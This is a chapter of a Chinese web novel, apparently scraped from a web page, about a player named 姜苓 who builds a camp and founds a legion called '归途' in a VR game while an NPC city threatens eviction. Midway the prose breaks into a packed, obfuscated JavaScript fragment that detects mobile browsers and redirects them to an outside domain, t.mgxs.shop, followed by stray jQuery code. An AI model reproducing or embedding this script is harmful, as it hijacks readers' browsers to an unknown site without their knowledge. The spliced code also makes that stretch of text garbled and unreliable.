当我再次上线时，谷口已经堵满了玩家。
黑压压的人头，看着最少有四五百号人。战士、法师、射手、刺客……什么职业都有。
一堆人挤在谷口叽叽喳喳地聊天，看到我上线的那一刻，几百双眼睛齐刷刷凑过来。
“是她！”
“她就是那个发任务的NPC！”
“不是NPC吧，我看她也是玩家ID？”
“管他呢，老板！石头我给你挖来了！收不收！”
“别挤别挤，我先来的！”
我的破木棚子前瞬间被围得水泄不通。一群大老爷们举着麻袋往我面前怼，活像赶集卖菜的。
我举起手示意安静，然后清了清嗓子。
“排好队，一个一个来。”
然而并没有人排队。
或者说，这群散人玩家根本不知道什么叫排队。
他们像饿了几天几夜的狼一样往前挤，恨不得把矿石直接塞进我嘴里。
“都给老子让开！”
一个中气十足的声音从人群后面炸开。
人群被一只粗壮的胳膊拨开，铁血猛男挤了进来。
他比昨天看起来更壮了，应该是任务给的声望让他升了几级，身上穿着一件半新的皮甲，腰间挎着那把蓝色品质的矮人长剑，整个人意气风发。
“我第一个来的！我先交！”
他一脸骄傲地把一大袋铁矿石拍在我面前，然后回头冲那群玩家吼了一嗓子。
“都给我排队！没规矩！这可是咱破晓的领主大人，懂不懂尊重？”
我：“……”
但铁血猛男这一嗓子确实管用。玩家们嘟嘟囔囔地排起了歪歪扭扭的队伍，虽然时不时还有人插队，但至少比刚才的混乱好了不少。
我一边收资源，一边观察这些玩家的反应。
公会时代还没开始，大部分人都是散人，三三两两组队的都是临时认识的。
他们的等级普遍在5到8级之间，装备也是新手村的白板居多。这样一群人如果放在正规的公会战里，根本不堪一击。
但他们是玩家。
他们的核心战斗力不是装备和等级，而是不死不灭。
被怪物杀了？复活再战。
被BOSS团灭？跑尸重来。
只要复活点还在，他们就能用无数次失败堆砌出一次胜利。
更重要的是，他们有创造力。
“喂，那谁，声望够了我们能不能自己打造装备？”
时机到了。
我向所有声望达到“友善”的玩家开放了矮人兵工厂一层的权限。
里面那座沉寂了不知道多少年的熔炉，在玩家们投入第一批铁矿石之后，轰然亮起了暗红色的火光。
炉火照亮了玩家们的脸，也照亮了那些锈迹斑斑的生产线。
“卧槽！这里头这么大！”
“那边还有一条轨道！是矿车用的吗？”
“我看到图纸了！墙上有矮人锻造法的图纸！”
“有人会锻造技能吗？我学了初级锻造！”
“我！我是生活玩家！专精锻造！”
玩家们像闯进了糖果店的孩子，在兵工厂里到处翻找，每一次新的发现都能引来一阵惊呼。
矮人的古老炉火，被一群来自异世界的玩家们重新点燃。
铁血猛男拎着他那把已经砍得有点卷刃的矮人长剑，走到我身边。他挠了挠头，难得露出一丝不好意思的表情。
“那个……领主大人……我还不知道你叫什么名字呢。”
“姜苓。”
“得嘞，姜领主。”他用力点头，突然扯开嗓子朝人群大吼一声，“兄弟们！咱们领主叫姜苓！都记住咯！”
人群先是安静了一秒，然后几百号人齐刷刷喊了回来：“记住了！姜老大！”
声音在山谷里回荡了好几圈。
我：“……”
破晓营地的规模快速膨胀。
声望达到“友善”的玩家已经超过了三百人。
铁血猛男带头组建了第一个玩家小队——“破晓先锋队”，专门负责矿场的安全护卫和采集任务。
他还自己掏腰包做了个绿色的旗帜，上面用不知道什么颜料画了个歪歪扭扭的太阳，说是咱们破晓的团旗。
那太阳画得跟个荷包蛋似的，铁血猛男举着它在营地里走来走去，一脸骄傲，其他玩家也煞有介事地朝它敬礼。
行吧，你们开心就好。
声望达到“尊敬”的玩家有四十多个。这些人基本都是肝帝，吃喝拉撒都在游戏舱里解决，连续三十多个小时不下线的都有。
我给了他们进入兵工厂二层的权限，里面有更高级的锻造台和附魔台，能够制作紫色品质的装备。
这个消息一经传出，营地人口再次暴涨。
全服目前已知的紫装只有三件，两件在大型公会的精英手里，一件在某个氪金大佬身上。而现在，破晓营地的玩家们可以靠自己挖矿、自己锻造来获得紫装。
这比氪金还爽。
营地的飞速发展不仅引来了各类玩家，还引来了新手村的村长——一个叫马库斯的老NPC。
他带着两个民兵，怒气冲冲地闯进灰雾山谷，一见面就开始骂。
“就是你！你把我的村民都拐跑了！”
我坐在营地门口的石头上，翘着二郎腿，手里捧着一杯玩家孝敬的蜂蜜酒。
“马库斯村长，你这话说的可不对。你的村民是自由人，他们想去哪去哪，我哪有本事拐跑他们？”
“放屁！”马库斯气得胡子都在抖，“我的矿场已经三天没人干活了！伐木场也停工了！那些冒险者全跑到你这儿来了！你知不知道新手村的经济都快崩了！”
这我倒是没想到。
我把玩家都吸过来了，新手村的经济确实会受影响。
那些需要玩家完成的采集任务、护送任务、清剿任务，都没人做了。
不过我不能放人回去。
“马库斯村长，”我站起身来，“这样吧，我给你一个解决方案。”
“？”
“你的任务我接了。石料、木材、野狼皮、哥布林的耳朵什么的，只要是新手区产出的资源，破晓营地照单全收。”
“我会在布告板上发布对应的任务，让玩家们继续完成。你只需要按时派人来我这里兑换资源就行。”
马库斯愣住了。
“你……你什么意思？”
“我只是把任务的终端从你那儿挪到了我这儿，新手村的经济不会崩，你依然能得到你需要的资源，而我负责帮你的村民变得更强。咱们一起，合作双赢。”
我身后的营地忙得热火朝天。
玩家们满头大汗扛着矿石，却笑容灿烂。
马库斯叹了口气。
“好吧，成交。”
“但我警告你。”他神情严肃，“灰雾山谷在名义上属于黑铁堡垒的领辖范围，你在这里建营地，没有经过他们的允许，黑铁堡垒那边已经注意到你了。”
黑铁堡垒。
这是游戏里的一座NPC主城，城主是一个叫洛萨的强硬派领主。
之前黑铁堡垒一直是我所在阵营的主要对手之一，洛萨这个NPC以铁腕和排外著称，对玩家的态度极其恶劣。
“我知道了。多谢提醒。”
马库斯哼了一声，带着民兵转身走了。
走出几步，他又停下：“你这里收不收农作物的？我们村的小麦都烂仓库里了。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17742163|209122||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
>我笑了笑。
“收。什么都收。”
马库斯走了以后，我马上召集了铁血猛男和另外几个声望最高的玩家。
“黑铁堡垒可能会来找麻烦，”我开门见山，“我需要一支队伍，专门负责外围巡逻和警戒。发现任何黑铁堡垒的NPC或敌对玩家的踪迹，立刻向我报告。”
铁血猛男一拍胸脯：“包在我身上！”
他旁边的弓箭手“只靠平A乱杀”推了推眼镜，慢条斯理地开口。
“姜老大，我有几个问题。第一，黑铁堡垒为什么要针对我们？第二，如果他们真的打过来，我们目前的战斗力能否抵挡？第三，我们有没有盟友或者后援？”
这个ID很欠揍的弓箭手，是个戴眼镜的瘦高男生，说话慢吞吞的，但逻辑很清晰。
“我们的存在削弱了黑铁堡垒对周边地区的影响力，以目前的战斗力来看，正面打肯定打不过，但我们有地形优势。”我顿了顿。“至于盟友或者后援，现在没有，但很快就会有了。”
只靠平A乱杀推了推眼镜，似乎在消化我的回答。
“明白了。那我还有一个建议。”
“说。”
“我们目前的声望体系是单向的，玩家为营地做贡献积累声望，声望到达一定等级解锁对应权限。这个机制很棒，但缺少了凝聚力。”
“玩家们对营地的忠诚度，建立在利益的基础上。如果有一天黑铁堡垒或者其他公会开出更高的价码，一部分人可能会动摇。”
“所以我建议，建立一个超越利益的身份认同。比如……一个正式的军团番号。”
铁血猛男一听在旁边猛点头：“对对对！咱们得有个正式名号！就叫‘破晓第一军团’怎么样！”
另一个法师玩家“三季稻”翻了个白眼：“太难听了。我觉得应该叫‘破晓之刃’。”
“凭什么你起的就好听？我这叫有气势！”
“你那叫土。”
“你说什么？！”
眼看他俩就要打起来，我抬手制止了他们。
“只靠平A乱杀说的有道理。从今天开始，破晓营地正式成立军团。军团的番号是——”
我顿了顿，目光扫过围在周围的一张张期待的脸。
“‘归途’。”
“归途？”
“为什么叫归途？”
我给他们郑重解释。
“因为我们不是来这里打仗的。不管你在外面被多少人追杀、被多少公会拒绝、被多少势力看不起，只要你还愿意回来，‘归属’这扇门永远朝你敞开。”
过了一会儿，铁血猛男第一个吼了出来：“归途！归途！”
几百号人跟着吼：“归途！归途！归途！”
只靠平A乱杀站在人群外围，推了推眼镜。
*
一支黑铁堡垒的使节团抵达了灰雾山谷谷口。
带队的是一个叫卡洛斯的副官，三十多岁，面容冷峻，穿着一身黑铁色的铠甲。
他身后跟着二十名全副武装的黑铁卫兵，等级全是“？？？”，貌似比谷口那些腐化树人还高。
卡洛斯连马都没下，居高临下地看着营地门口的玩家们，语气倨傲。
“根据《黑铁堡垒领辖条例》第七条，凡在堡垒辖区内建立固定据点者，须向城主府提交申请并缴纳领地税。”
“你们在此非法建营，限三日内拆除所有建筑并撤离该区域。逾期不撤，黑铁堡垒将采取强制措施。”
话音刚落，玩家们瞬间炸了锅。
“凭啥啊？我们自己建的营地！”
“这破地方本来也没人要啊！”
“交税？你给我们提供过什么服务就要交税？”
“滚回你们的铁壳子里去！”